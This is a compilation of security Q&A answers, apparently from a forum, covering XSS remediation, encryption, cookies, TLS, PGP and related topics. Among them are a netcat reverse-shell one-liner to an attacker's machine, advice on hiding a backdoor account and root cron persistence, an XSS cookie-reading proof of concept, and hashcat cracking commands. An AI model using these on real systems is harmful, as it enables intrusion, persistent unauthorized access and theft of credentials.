Use an automated XSS scanner to find existing vulnerabilities and fix these. As a complement you can run your own manual tests. This will help you focus your precious time on fixing easy to find vulnerabilities, giving you the most bang for the buck in the early phase.
But for the third time, this is not waterproof. No matter how much you scan and test, you will miss something. So, unfortunately, there is a point #4 to this list...
4. Clean up your source code
Yes, you will "have to read every single page". Go through the source and rewrite all code that outputs data using some kind of framework or template library that handles XSS issues in a sane way. (You should probably pick a framework and start using it for the fixes you do under #3 already.)
This will take a lot of time, and it will be a pain in the a**, but it needs to be done. Look at it from the bright side - you have the opportunity to do some additional refactoring while you are at it. In the end you will not only have solved your security problem - you will have a better code base as well.


Rightscorp Scaleable Copyright - How would they avoid making this a massive security risk?

Wouldn't that require Browser Providers to implement a massive backdoor in browsers? (or ISPS?)

There is no need to implement anything in the browser to block internet access. This can be fully implemented at the ISP level, similar to how capture portals at public hotspots deny access until the user provided some sort of login, payment or acknowledgment of the usage terms.

The main problem with this kind of ISP wide restrictions is that they only properly work with HTTP. With HTTPS the user instead gets only strange error messages because the certificates do not match.


If you're looking for top-notch security of the highest kind - air gapping is the only way to make this work. Unfortunately, having absolutely no connections to the outside world under any circumstances can be prohibitive, especially as developers like to copy and paste code snippets from documentation and so on.

Ultimately, this probably also means taking laptops off site becomes a no-go also.

Assuming you can't do that (because let's face it, it's quite an ask) - firstly, mobile workstations. Definitely go with the VPN option. Ensure all of the internet traffic via those laptops goes through the VPN. This way, your architecture and security requirements (firewall policies etc) are definitely enforced, and more importantly you don't expose anything but the VPN endpoint to the public internet.

Encrypt the laptop hard disks as a minimum. If the laptop is stolen whilst powered down, the source code should be secure for a reasonable amount of time. If the laptop is not powered down, or the attacker can observe the password entry, you haven't done anything but make their job slightly more difficult. LUKS is supported in both Ubuntu and CentOS to my knowledge - it uses cryptsetup and gives you a choice of decent algorithms and multi-slot passwords.

Hardware based disk encryption would be better, simply because it means your /boot partition is not modifiable.

Virtual LANs for security receive mixed opinions. From the point of view of development, I'm expecting your team work with sudo, or root, access and as such would easily be able to reconfigure the VM software to allow their host access, should they wish. As mentioned in the blog post, VMs are used for cheap network segregation - which works when you can enforce the configuration. Here, it looks like a difficult sell.

That's not to say you can't use virtual machines, of course; I would simply carefully study exactly how hard it is for your developers to bypass.

One way I've seen this work successfully if you have a sufficiently fast network and patient developers is to use remote desktop to VMs available on the network - but not physically accessible to the developers themselves. You can even use full thin clients, rather than desktops that RDP. The thin client model also deals nicely with my next topic... physical security.

When I say physical security, I mean how hard is it for your developers to plug a USB stick in, svn co and walk out with the lot? "Taking the code home" can happen this way, but you'll lose the lot if the USB stick is lost. Generally, there are two solutions available to you - epoxy resin and removing the various hci.ko modules from the kernel - thereby making it not recognise USB at all. Unfortunately, this has the downside of disabling USB keyboards and mice, too.


Why does integrity exclude confidentiality?

You can have both integrity and confidentiality. There is no such "exclusion". However, you must remember that they are different things provided by distinct algorithms. Piling layers of encryption does not provide integrity.

Integrity is normally obtained with a MAC, while confidentiality relies on encryption. Combining encryption and a MAC algorithm properly is known to be tricky; e.g. SSL/TLS got it wrong and it generated an endless stream of attacks that can be thwarted only with extreme care in their implementation.


You should be able to just right click on any HTTP packet and select "Follow TCP Stream" which will rebuild the page. You could select the "Save As" and save it somewhere, e.g.: "captured-page.html"

Edited to add more:

Here is the walk through on Wireshark: http://www.wireshark.org/docs/wsug_html_chunked/ChAdvFollowTCPSection.html Your other option is to use tcpflow: tcpflow -r http.cap


how to monitor / know what information is transferred in cookies?

how can I monitor / know what type of information are they collecting

Not at all. Since the information that is actually associated to you is stored server-side, you simply have no way of knowing.

The only thing you see is this cookie, which is really nothing but an ID to know that you are you.

So, there's no human-readable information in the cookie, because it typically only stores some session ID.

You can, from the existence of a cookie, however, infer that the server is capable of tracking which sites on that server you've accessed. This gets a lot more involved as soon as there's, for example, advertisement or content-delivery networks involved. Whilst you see multiple, different cookies that belong to different domains/servers, behind the scenes, these servers will be collaborating to "piece together" a more comprehensive picture of your e.g. surfing behaviour.

Facebook is a prime example. There's many sites that embed some Facebook widgets on their pages. Now, Facebook knows what site their widget is embedded in, and can track you, because you've got a facebook cookie (at the very least from the moment you've logged in) and are connecting to Facebook's servers to get the widget's content. Now, Facebook gets a history of all pages with embedded facebook widgets you're visiting.

Google ads, doubleclick etc aren't any less tracking. I'd recomment the excellent Privacy Badger extension that tries to (heuristically) figure out which servers use cookies to identify you across different websites and (semi)automatically blocks cookies or loading content from these servers.


How do you stop a hacker when their IP address is 0.0.0.0?

I suspect that your Wordfence plug-in is blindly trusting the X-Forwarded-For header. This header is used by proxies to indicate the IP address of the computers sending traffic trough them, but can easily be spoofed. It is also very well possible that some of the visits from “0.0.0.0” aren't malicious, but simply users behind a misconfigured proxy.

Edit: Wordfence is indeed doing this, but this is configurable and is meant to accommodate for reverse proxies such as CloudFlare. See the comment by Wordfence founder Mark Maunder below.


Password-reset mechanism based on Sessions

As you are comparing the token with what you saved in the current browser session, you don't need to use <entered_email + timestamp + random> in the token. Just the random suffices.
So you basically store in the browser session:

User id to be reset
Reset token
Timestamp it was sent or token expiry

When you receive the link, you:

Allow to reset the given id if the session timestamp shows the token as not expired and and the url token matches the session one
Delete the session information

So yes, this would be a safe way to let users reset the account password from their email. Be aware that users could close the browser or open the link in a different one, in which case that wouldn't work. You should probably include a note stating that they must open the link in the same browser they requested the reset from.


Efficient way to demonstrate the value in Active Directory security improvements?

You have two basic things you need to address:

1) Do you meet the current best practices for Information Security in your organization?

There are several good resources including the Microsoft Security Baseline Analyzer, and using resources such as NIST and SANS.

If your organization is large enough for an AD environment, they likely need and should have insurance in case of data loss. Most insurance agencies require a certain baseline otherwise your SOL at claims time and good luck with litigation.
Back to litigation, piss poor standards also set your organization up for negligence lawsuits from multiple sources. E.G Employee, Customers, Venders, etc. If the C-Level was made aware, did nothing, and tried to blame you or your team, you'd also have wrongful termination suit, etc.

2) What are your risks?

Information Security is very much like financial risks, you need to understand your goals, what's acceptable to your organization, and what you need to reduce. We tend to look at this through quantitative and qualitative risk.

To be frank, C-Levels don't really care about a specific attack being averted, they care about specific risk being reduced to manageable levels. For instance, you don't tell the CEO that you improved security by requiring and only using Third Party SSL certificates from verisign or wherever. You tell them you have reduced the risk of MITM attack and implemented policies to manage the risk. The third party certificates are quantitative representation of that risk and your servers which use it are its exposure.

BTW, this not trying to skirt around an issue or that your C-Level is to dense to understand SSL/TLS. It's communicating to them in the language they are familiar with and any good business person deals in risk.

For your particular example, making permissions easier is a technical function to reducing what risk:

reducing provision issues which expose additional risk?
exposing privileged information to unauthorized users?
all of it?

These are the items they want to hear about, what changes you make are your data for reducing that risk, also this is an extremely simplified way of looking at this.


Are there any modern governments which use a proprietary encryption algorithm?

Quite frankly, the answer is obviously "yes". There's been quite a few disasters regarding crypto devices sold to governments that had other government's backdoors in their proprietary crypto.

Also, common sense dictates that it's highly unlikely that seldom-used military systems would be exchanged completely – if you transmit 10 bit in 20 years, it really doesn't matter how easy to crack it'd be if you had a couple 100 kb observations of known plaintext etc.

Also, I just googled "proprietary encryption" communication devices for military and you might want to do the same, read a couple of the first 20 results or so.


What security precautions should we take when letting a C# application send/receive emails?

Main concerns would probably be
- your server is taken over as a spam bot
- your server is used to phish your legit customers with malicious emails originating from your server

Implement logging & review it so you know when your server starts sending unexpected emails on your behalf

Implement whitelisting such as
- whitelist of allowed outbound recipients , if they're not on the list your email server won't send it
- whitelist of allowed sending servers, if attacker tries send email to your email server it is rejected because not on the allowed list of sending servers


Why does Microsoft limit password length?

Purely legacy reasons. They are working to increase it.

From: http://windowsteamblog.com/windows_live/b/windowslive/archive/2012/07/15/keeping-your-microsoft-account-more-secure.aspx (see comment made by Eric Doerr in response to @MondayBlues):

  Password length - We are working on increasing this. Unfortunately,
  for historical reasons, the password validation logic is decentralized
  across different products, so it's a bigger change than it should be
  and takes longer to get to market. It's also worth noting that the
  vast majority of compromised accounts are through malware and
  phishing. The small fraction of brute force is primarily common
  passwords like "123456" not due to a lack of complexity.


How do applications which are integrated using a javascript client side sdk, secure their data or disallow spam?

Nevermind. Turns out intercom allows enabling something called Identity Verification, where everytime you initialize intercom with a user id, you need to also send a user_hash, which is generated using a secret shared between you and intercom and is an HMAC created using the user_id.
This acts as a password that you have created for the user to log in to intercom. The unique id is comparable to your user Id, and the user_hash is comparable to your password. So your id might be easy to guess or be used in different places, the password (although being sent over the wire for initial login) would be more secure, and wouldn't be used directly at other places.
This would make it impossible for one user to impersonate another user, as the secret can't be leaked, and if you try logging with another user_id using your user_hash, intercom would disallow.
https://developers.intercom.com/installing-intercom/docs/enable-identity-verification-on-your-web-product


Can Microsoft monitor my computer because of Windows 8 email sign in

I think your question should be "Would they do this?", because every software vendor can monitor user data with or without their users notice. Windows has full access to all resources of a computer so it's very capable of monitoring its activity and data. Add an online account to that so it can easily identify you on any device you sign in.

The point here is they must do it (if they're after it) with real care and don't mess things up for unimportant cases. If it becomes clear that they monitor and gather user data it creates a global crisis and nobody will use their products anymore and they certainly don't want this. So they could do it but they won't do it in such a way that everybody feel unsafe and worries about their data.

To sum it up if you are not a criminal, undercover agent, spy and so on you shouldn't worry about that because you are not a target. But if you are so worried about your data then you shouldn't use (I mean trust) Windows in first place. You decide how important your data is, you won't use a 800$ lock for a 100$ bike, will you?


You probably do not need to decrypt the Packet since it most likely contains no useful information. If you look into the Packet with Wireshark you should see that the Type of (atleast one) TLS-Record in the Packet is 0x18 (Heartbeat Protocol). The (decrypted) Heartbeat Message contains two TLS-Fields: HeartbeatLength and HeartbeatPayload. If your IDS was able to decrypt the Record, it probably saw that the HeartbeatLength in the Record was greater than the number of HeartbeatPayload Bytes. If the Server too which this Packet was sent is vulnerable to Heartbleed, this packet would have triggered the famous Heartbleed vulnerability. On the other Hand, if your IDS cannot decrypt Records, it probably just didn't like Heartbeat Messages in general.


CTR_DRBG is an approved PRNG for FIPS compliance, defined in NIST SP800-90A. Linux's /dev/random is, in principle, a suitable entropy source per NIST SP800-90B, but whether it is suitable in your particular use case depends on where the Linux kernel itself can obtain entropy. Having a hardware RNG (such as RDRAND on modern Intel CPUs) would raise fewer questions during the certification.

Beyond that, a FIPS 140 level 2 certification includes some actual security requirements (unlike level 1), so it isn't enough (but it is necessary) to use approved algorithms. Getting your product certified requires meeting all the other requirements of the certification (logging, scrubbing of data, operator authentication, pointless self-tests, etc.) and satisfying the evaluator that you've met all the requirements.


Reverse shell refusing/difficulties to establish connection

What is your networking setup between the two machines in each example? Are you able to send other traffic between them, such as ICMP? If so, do you have any firewall rules configured on either of the devices that might interfere? If you're confident that your network setup is correct, then I've left some comments about each example below.

I think your issue in the first example stems from trying to use the -e flag in nc. You stated that your attacking machine is the Linux device and your OSX machine is the victim. If that's the case, you don't need to use the -e flag on the Linux nc listener. If you do, that means that when you connect to the Linux machine on the port opened by nc, you'll get a shell spawned from the Linux machine, which doesn't seem to be what you want, since that's the attacking box.

I think what you actually want to do is something like this:

Linux box: nc -nlvp 5555

OSX victim: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $IP_OF_ATTACKING_BOX 5555 >/tmp/f

On your nc listener on your attacking box, you should see a shell open. The reverse shell is created differently due to the nc version on OSX being the BSD version, which does not support the -e flag. I got the syntax from here:
http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

Your second example's syntax looks correct to me. EDIT: As @waymobetta correctly notes, you don't want to use the IP address of the victim on your second nc command; you should use the IP address of the attacking machine, which is what you want to connect back to. However, if you're still having issues, you can check the remaining suggestions below.

Is your networking setup here different than in the previous example? Can you open a port on one with nc and just connect to it using the other (without the shell)? For example, if you do:

Machine 1: nc -nlvp 1234

Machine 2: nc $IP_OF_MACHINE_1 1234

And then type some text in the terminal for Machine 2 and hit enter, do you see the text appear in the listening window for Machine 1? You should also see some output regarding the connection attempt in that window. If that doesn't work, then your issue might stem from the machines not being able to communicate properly at all.


Dangers of client & server package, communication over HTTPS using user's own self-signed certificate?

To enable your clients to securely communicate with your server, you will need an SSL certificate for your server that is either self-generated or signed by known certificate authority.  If you go with self-signed you will need to provide the public key of that certificate along with your software.

If you want to identify your clients, they will each need a unique client certificate probably signed by your CA.

Short version:

Secure client/server communication - server certificate
Secure client/server communication with authenticated clients - server and client certificates

It sounds to me like you should pull in an expert for this part of your project.  Crypto is easy to get wrong and important to get right.


This document outlines the changes in the EU cookie law, and things you need to pay attention to:
http://www.ico.gov.uk/for_organisations/privacy_and_electronic_communications/the_guide/~/media/documents/library/Privacy_and_electronic/Practical_application/cookies_guidance_v3.ashx

From my understanding of the content, the important thing is gaining the users' consent when storing a cookie on their computer. The two exceptions are:

(a) for the sole purpose of carrying out the transmission of a communication over an electronic communications network; or
(b) where such storage or access is strictly necessary for the provision of an information society service requested by the subscriber or user.

covering vital things such as session cookies to allow the user to stay logged in from page to page.

What I've seen a lot of sites doing is have a popup on the first visit (usually inline somewhere in the page) explaining that the site needs cookies to function, blah blah, here are the cookies we wish to set, do you accept, yes/no.

It seems to be all about informing the user and gaining their consent.

P.S: I am not a lawyer.


Do you know any crawler/spider software, which is able to go through an ASP.NET site?

JavaScript links are a real problem for automated spidering.  Personally I tend to use Burp suite and manually build up a page list by navigating the site, and then use page by page scanning.

In theory the way to do it would be to use a spider which relies on the browser engine itself to do the spidering (so some of the tools which "drive" a browser might be useful).

Another option would be to get a JavaScript parsing engine available in your programming language.  One thing I saw which may be useful on that front is this project from rubyracer, which allows access to a JavaScript parsing engine from within ruby.  I've not tried it , but I was thinking that it may be possible to use something like that to evaluate JavaScript on form submissions and extract the appropriate URL for the spider to follow from that.


Backdoor for what? Future network exploitation or privilege escalation from the console?

why not put a password and a shell on some system account that nobody will notice -- for example change /etc/passwd:

from:

news:x:9:9:news:/var/spool/news:/usr/sbin/nologin

to:

news:x:9:9:news:/var/spool/news:/bin/bash

and
    sudo passwd news

Don't make news a sudo user (too obvious), but leave a cron job that runs with root privileges and is world writable (or just writable by news).

Another option is to add your public key to an admin's authorized_keys file.

now you need to run programs. one trick is to setuid on some random script you can write to.

another trick is to leave a program that cron executes as uid=root as world writable, and update that file to elevate your privileges.


Is there any encryption mechanism where i can ensure that the decryption can only happen within my data center?

All decryption is only possible if you have the key (or sufficient computing power and time). If you want to be sure that the key never leaves the infrastructure, buy a Hardware Security Module (HSM) (Thales, Utimaco and some others). These are  hardware devices that allow you to do the decryption. There are many types, some (many?) including tilt and motion sensors.
But at some point, you might want to rethink your strategy. HSMs are really a niche market, and in my 25+ years experience, I've seen just 1 case where they were really necessary.
If you pass data over the Internet, surely the goal of that data sharing would be that the other party can use that data? Then, if the data at the other party is "exposed somehow", all is lost anyway.
Or do you just not want that the data leaves the data centre? In that case: try using a stand-alone  system.
If you're communicating with a single (or limited number) of partners, symmetric keys would also be an option. Key management would be doable.


How to intercept ntlm authentication based application?

Burp's Platform Authentication settings let you configure Burp to automatically carry out platform authentication to destination web servers. Different authentication types and credentials can be configured for individual hosts.

https://support.portswigger.net/customer/portal/articles/2927576-configuring-ntlm-with-burp-suite


In TCP, what happens when two Data packets come in with the same sequential identifier, but different data (spoofed)

OK, I'll argue that that statement is not quite right.  The statement is correct if we assume that no TCP options are being sent.  In theory, an attacker that can eavesdrop packets can inject a correctly crafted packet into the server, and confuse the connection.

In practice pretty much all TCP connections today are tuned and use window scaling.  They define a window size to receive data faster, and not need to acknowledge every packet.

Now, this is dependent on implementation but all data in a window must be kept in a buffer instead of being passed to the application because it may happen that the entire window fails to acknowledge correctly.

If an attacker M eavesdropping the connection send only a single packet to the server S with less data than the window size (most likely since windows are often a handful of megabytes), that packet data will end in the buffer with its location defined by the sequence number.

The client A now sends a packet to the server S continuing the connection, the packet contents are likely to be blindly dumped into the buffer holding the window.  And the attacker fails to confuse the connection.

The above is not strictly true either.  An ACK can be sent at any time during the collection of the packets for the window, not only when the window size is reached.  In practical terms this (most likely) means that:

The attacker M can succeed submitting a single packet to interfere with a slow moving connection (a lot of time for the server S to send ACKs).
The attacker M will have trouble to interfere with a fast paced connection where the server S decides to wait for the window to fill instead of sending ACKs.

On a fast paced connection the attacker M will need to fill the window with his data before client data arrives.  That is still feasible if the attacker M is closer to server S than client A.

References

Window Size and ACK Number - networking.SE


What's the point of Microsoft Account 2FA if it still lets me log in using password instead?

You didn't actually set up 2FA. You set up your authenticator as an alternative method of single-factor authentication. This is clear from the first screenshot: "... to sign in without a password". If it didn't ask you for a password in the first place, it's probably not 2FA; the password is one of the two factors. The way I read this question it seemed like you'd gotten that prompt after entering your password, because that's when any second-factor authentication prompt would appear, but it looks like that's not what happened.
Go to https://account.live.com/proofs/manage/additional and click "Set up two-step authentication" if you actually want 2FA. You will still be able to "remember" trusted devices after you've completed the two-step auth on them, but any time you try to sign in using a new device (or a private browser, etc.) it should ask for both factors.


PGP keys varying only in attached signatures

A public key like published on the keyservers actually consists of a set of single packets. One is your public key, then there are user IDs, and the incoming signatures from other keys (and some more stuff which is not important here).

  How does person E determine which one to use?
  Again, how later-coming person's PGP software determine which one to use?

As stated above, the key is the same, just the signature packets are differents. You can have a look at them using gpg --listpackets [file], also have a look at this answer on how to view OpenPGP key files. I strongly recommend to have a look at the rather lengthy output to understand what's going on.

When "updating" the key (gpg --recv-keys [key]) from a key server, all the new packages will get merged with the ones already on the disk. The keys do not "branch" in any kind. Imagine this as the union of signatures sets. This can also be done by exporting and importing using gpg --import [file].

  Finally, do people keep uploading the[ir] keys to keyservers as they get signed by more and more people?

I hope I got your question right, and you want to know whether people upload their key from time to time to distribute their new signatures using gpg --send-keys [key]. Then, the answer is a clear "yes and no". Most do, a lot only now and then, and some not at all.


Securing REST API for mobile use with OAuth

HTTPS is an absolute requirement for authenticated communication.  HTTPS typically increases CPU demands by less than 2%,  and other than the initial handshake HTTPS will not increase network letancy.   Without HTTPS you are in violation of OWASP - Insufficient Transport Layer Security.  Security isn't just HTTPS,  if you are "securing a REST API",  you have to worry about other vulenrablites and the OWASP top 10 is a good palce to start.

(On a side note,  after so many years I'm still surprised that people think HTTPS is optional, and that somehow encryption is this huge burden. I can perform a few million AES operations per second,  and most of the time I can't load a web page in under a second.  Why do people think encryption is heavy?  I would like an explanation.)


What certifications do I need to become a Malware Analyst?

The obvious answer here is that experience is the only thing that matter. Reverse engineer tons of stuff. Expand your knowledge. Share what you've learned. Etc etc.

But of course, getting a certification won't do you any harm and as far as I am concerned, will only count as a plus on your CV.

However; having a certification on your CV doesn't get you a job on it's own. In today's day and age the recruiters are actively searching for people who "do more". I would suggest that you start building your "brand". Make yourself visible in the community. Discuss new malware on Twitter. Share your knowledge here on security.SE etc. That's what ultimately is going to secure your position as a malware analyst.

When it comes to what certs to take; I've heard and read a lot of good things about the GIAC Reverse Engineering Malware (GREM) certification.

I've also been looking at a lot of open Malware Analyst positions, and here are some of the varous certifications they ask for. There are probably many more, and these are usually just suggestions from the hiring-side. Don't be afraid if your certification isn't on their "we want someone with these certs"-list, they might just not have concidered (or hear of) the one you have (which isn't necessarily a bad thing, HR is HR after all).

GIAC Reverse Engineering Malware (GREM)
Microsoft Certified Solutions Expert (MCSE)
Cisco Certified Network Associate (CCNA)
Cisco Certified Network Professional (CCNP)
Certified Information Systems Security Professional (CISSP)
Certified Ethical Hacker (CEH)
Certified Authorization Professional (CAP)

For your last question; Take a certification when you have the money, time and done enough research on the certification to make you certain that it covers exactly what you want to learn. There is no rush, and some employers even pay for certifications once your hired. So my best suggestion is, start building your brand and grow your knownledge.


Is it a good idea to upload your gnupg files to github?

It's encrypted, so in theory it's safe, provided your encryption key/password is of sufficient quality.

But if you're making your database public, that's pretty much an invitation for people to try cracking it. If your key is not as strong as you think, or if you slip up in some other way (falling for a phishing attack for example), then you are at risk. I think posting your database publicly is a bad idea. Just because something shouldn't be at risk if it's in the hands of attackers, doesn't mean you should volunteer to be a target. Just like a website keeps its password hashes private as a first line of defense, your first line of defense should be keeping your password file out of the hands of attackers. They can't even try to attack what they don't have yet.

I suggest using an online storage service that offers private access (such as: Dropbox, Google Drive, OneDrive, etc.) to store your encrypted passwords for convenient multi-device access but still keep them hidden from most attackers.

Off-topic: have you considered a password manager designed for the purpose? If you want a local-only tool, KeePass, PasswordSafe, and other options exist. I think you'll find the convenience increases quite a bit with the same level of security (or better, as you you don't need to worry about temporary files created on decryption).


I would use Hashcat (since I know it better), you can download the binaries and run it on Windows using the command line.

First, you need to prepare the hash from the zip file for Hashcat, since you are using Windows, open the hash.txt file and copy everything after the first : symbol (excluding the symbol) and put it in another file call it hash2.txt for example.

Then run Hashcat, using the command line navigate to the directory where you downloaded Hashcat and run this :

hashcat64.exe -a 3 -m 13600 hash2.txt -1 abef -2 ABEF -3 02359 -4 @% ?a?a?a?a?a?a?a?a?a?a?a  -i --increment-min=8

This would take a very long time though (maybe years) to try all possible combination of the characters you mentioned for those lengths and this specific hash (this would generate 9267412500000 passwords to try, 100 Tera Bytes of data).

I would highly recommend changing the "mask" which is ?a?a?a?a?a?a?a?a?a?a?a to the pattern of the password if you remember it, for example, if the old password started with two capital letters (A,B,E, or F), then four small, then four numbers, and a symbol the mask would be ?2?2?1?1?1?1?3?3?3?3?4.

You must use this for a specific length though, meaning you first try all the possible length 8 password patterns, then 9 ...

Example command:

hashcat64.exe -a 3 -m 13600 hash2.txt -1 abef -2 ABEF -3 02359 -4 @% ?2?2?1?1?1?1?3?3?3?3?4

You can place all the masks you think are possible in a file with one on each line and pass it to Hashcat to try all of those masks in sequence. Put the most likely masks in the first lines for Hashcat to try them first.

Example masks file structure:

?2?2?1?1?1?1?3?3?3?4
?2?2?1?1?1?1?3?3?3?3?4
?2?2?1?1?1?1?1?3?3?3?3
?2?2?1?1?1?3?3?3?3?3?4
...

Hashcat command:

hashcat64.exe -a 3 -m 13600 hash2.txt -1 abef -2 ABEF -3 02359 -4 @% masks_file_name

I hope this helps.


What is the correct term for the discipline covering software security only?

The term you're looking for is Application Security

It's not a perfect fit for what you described though as it does include the idea of the lifecycle.

There's no one term that exactly describes what you do and don't like to do.

Maybe web application security could apply too. A lot of people want their applications evaluated in the context they will be used, which includes the lifecycle of the application and it's environment (network).

There's some companies that do dynamic software analysis or source code review.


Can DirBuster list all website links or information displayed on a static website?

At its core, dirbuster takes in a list of common URLs, and tries them.

Also, while it's trying URLs from its wordlist, it has functionality to parse returned HTML content and add those URLs to the list.

So to your question

  I want to see all links under a website. Will DirBuster be able to pull this information?

If the website has HTML links to all its pages, then DirBuster might be able to figure that out, but otherwise dirbuster is only as good as the wordlist that you feed into it.


Why does ssh `known_hosts` file need server name?

I think the other answers here are correct answers to a simpler version of the OP's question, but miss a certain subtlety in the question. SSH is frequently described as implementing public key cryptography schemes as its authentication method, but the OP has noticed that this is not strictly so. Rather, there is an additional layer of security in the SSH suite which depends on the hostname resolution system.

Although it was probably a good design choice for SSH, it has a couple of small unfortunate side effects. Namely:

It might appear to the casual user that the additional layer of security somehow uses public key cryptography to authenticate the domain name association (i.e. the integrity of the DNS system in the given case) in addition to the client itself. These users will have a false sense of security.
It might appear to the smart but uninitiated user (e.g. possibly the OP) that the public key crytography scheme is being bypassed when the user agrees to continue connecting to a host whose authenticity apparently "could not be established". These users will have a false sense of insecurity.

What is being bypassed in (2) is only the additional layer of security, on top of the public key cryptography scheme, related to hostname resolution.


Under what conditions should an application regenerate a CSRF synchronization token?

The most important attribute is that this value cannot be guessed by an attacker and therefore unique to a session.  Synchronization Tokens are commonly defeated using XSS.  A good example is the Sammy MySpace XSS worm,  which read the CSRF token using an XHR and filed the request.  So even if the synchronization token was regenerated for every page,  it would still fall to an XSS attack.  (Also Cookie variables are not a vector for XSS because an attacker cannot control these variables in the request.)

An attacker has an advantage that they can make a very large number of requests.  It maybe possible for an attacker to guess the CSRF token used.  Similarly it is also possible for an attacker to potentially guess the session id used.  Both of these attacks have an identical impact,  an attacker is able to perform an action as that user.  There should be some timeout to prevent both of these attacks,  but this value varies on your application.  Is this a bank application dealing with money? Which should expire a session after 20 or so minutes  Or is this just a forum with limited security impact,  in that case maybe 24 hours.


Spam link sets cookie(s) then redirects to google.com - what would be the point of this? Should I be concerned?

This is an attempt to defeat mail security filters that check links contained in mails whether they lead to a malicious site.
The link in the mail goes to a redirection under the control of the attacker.
When the mail is delivered the redirection goes to a harmless site so the filter lets it pass.
Later when the mail has been delivered but not yet read, they arm it by switching the redirection to a malicious site.


Is it useful to use 'dot' and 'at' in email addresses in documents on the web?

It really depends on how sophisticated the crawler is.  I doubt that the vast majority would go to the trouble of downloading word and excel documents, mainly due to the potential size.

There are libraries available thought that make reading of doc, xls(x), pdf, etc. relatively easy.  It is not out of the realm of possibility that some crawlers do download files.  It's not feasible to protect against every possible threat, so let's consider how difficult it would be to obscure email addresses in documents vs. the security benefits.

You would need different strategies for likely different document formats, and this may lead to them rendering poorly, and thus losing usability (ability to receive legitimate emails).  You could include specific instructions like "In the subject mention 'assistance'.", or something to that end.


Best practice on Windows domains: To have a separate admin account or not?

The best practice is to abstract out the person from all roles. But this is difficult to perform natively, as you suggest.

The way to accomplish this is to have an authorisation layer in between the authentication process and all target processes. A "universal sudo", if you will. Products and services exist to allow this abstraction internal to your network (Privileged access management tools, like Cyber Ark and Thycotic) and externally (Cloud Service Brokers).

They all work on a Single Sign-On system and allow a user to request and receive permissions. This means the user gets one account, but dynamic access as required to target services. Most services include extra layers of analysis to granting access permissions that add extra protection to sensitive processes (like root accounts, etc.).

But if you are asking about how to accomplish the best possible practice natively, "defence in depth" is still a useful model and even though it might be possible to leverage access from one account to another, separating them means that access is not automatic. If the admin on the admin account gets hit with ransomware from a personal email, then the company goes down. If the admin was on a user account, then the damage is limited.


When ordering cheap VPS's this is certainly true.

However, the largest cloud service providers are a different matter. If this is a genuine risk, you should look at the likes of Azure and AWS which have very significant certifications for security.

Azure, for example, can offer customer lock keys and provide very significant process security that greatly limits admin access to customer data even without the use of customer keys.

Actually, stealing from a physical server is often easier than the best cloud services. Again using Azure for reference as I am most familiar with that. Azure generally splits customer data across multiple physical storage arrays and even across multiple compute VM's so that physical access to the data centre would not enable access to your data.

Again, though, this is very different to buying a VPS which will be a logical slice of a physical server. In that case, the vendor's admins will have full access to your data whether you like it or not.

All of this comes down to managing risk. What data are you storing? Are you working in a regulated industry (e.g. Finance or Health)? How many records? If you are running a business from a VPS, what insurance do you have? How are you managing your liabilities to your customers?


Will a browser exploit also work after I have downloaded the website?

Yes, but not always.

It depends on how the exploit works. Many exploits contain a second stage payload which the first stage (contained on the website) downloads and then executes. This is done for multiple reasons. For example, the first stage may test to see which second stage is appropriate for that individual browser version, operating system, etc. It may also serve to make it possible to easily update the second stage payload without needing to modify the first stage. Of course, it's also entirely possible for the entire exploit to be contained on the malicious webpage, making it dangerous to open it later.


Many filesystem drivers are insecure.
There's nothing wrong with automounting in theory, given that dangerous filesystem options are disabled for automounted filesystems, but the reality is that mounting arbitrary filesystems can make it possible to exploit vulnerabilities. Many filesystem drivers are very complex and designed for speed, not for security. Precious little effort goes into securing filesystem drivers from maliciously-designed filesystem images because they are not usually coming from untrusted sources. Disabling the autofs service prevents an attacker from feeding a malicious filesystem to the a vulnerable driver. The upshot of disabling autofs is that less kernel code is being exposed to an attacker.


Electronic identity and digital signatures - why they are different?

There are a few reasons for using different keys for signing and authentication:

When using two keys, associated certificates can be issued from different CAs which allows web sites to only ask the user for the authentication certificate on login.
The certificates can be issued with different key usage - the authentication one doesn't need non-repudiation, and the signature one doesn't need access to a ssl client.
Usually the two keys are protected by different PINs with a different PIN policy. The authentication key has simple PIN policy - after an application authenticates with the PIN, the key can be used until the session is closed. On the other hand the signature key usually requires the PIN to be entered before any operation with the key.

I have never used Estonian eID, but on few different eIDs I have tested the keys are issued from different CAs, with different key usage flags and with different PIN policies as described in points 1 to 3.

Edit:
Another reason to use different keys:

A smart card could be configured to refuse key import for a signature slot and to allow it for an authentication slot, or it could support different crypto mechanisms for different slots...


Ways to exploit a form action value when it s reflected from URI on React-Django

Unfortunately since it is prepending a path, there's not much which can be done if you can't escape from the tag. If you had FULL control over the input to the action parameter, then it'd be a different story.

You could achieve XSS here by injecting javascript URI. Here's an example:

javascript:alert(document.cookie);

Here's an example code snippet to test it (PoC):

<form action="javascript:alert(document.cookie);" method="POST">
<input type="submit">
</form>

Tested it on my website and got an alert. It should also execute in context, as the javascript URI usually does.


Does incognito/private browsing prevent XSS attacks?

An XSS attack is not primarily about cookies. It is not about stealing sensitive data either. It is instead about executing attacker-controlled code on the client side within the context of the site you visit. What kind of harm can be done by this code depends on the actual site and context.

Using a private browsing session will not prevent XSS by itself but it might limit the impact of what harm XSS can do - i.e. it has no access to the cookies or other stored data from the non-private browser session. It might though still do harm, but again this depends on the specific context and site you visit.


Using scrypt to encrypt data in a session variable

No. PGP will make your session a heck of large. So dont use PGP. Assymmetric cryptography is not required since the sender of the encrypted information (who encrypts), and receiver of the encrypted information (who should be able to read it), is the very same entity (your server).

This mean, that if you want to encrypt something to store in a cookie, use a symmetric cipher like AES256 instead.

But the best thing to do is not to store the data at all in cookies, instead, store it on server, generate a sufficently secure and random "session ID", and tie the "session ID" to the data blob on server.
The "session ID" is then what is sent via the cookie. Since the session ID is effectively random, that does not have any particular meaning for anyone else than your server, then it don't need to be encrypted.

Also scrypt is an password derivation function, not an encryption function, and is effectively one-way.

To prevent someone from hogging Resources on server, you can timeout sessions after a short period, and also have a function that if a specific IP request a new session, all old sessions from this IP is deleted.


Where can I get more info about these viruses?

You can upload the files to VirusTotal yourself and see what other AVs think about them. (I saw your link, but you should upload your copies as well) Also check malwr.com to see if it has any more info. There is also HerdProtect.

Side note: malwr.com allows you to search by MD5 hash (you can get this from VT when you upload your files)


Looks like the source domain is legit to me. Here's the whois result for the domain:

Registrant:
    Domain Administrator
    Facebook, Inc.
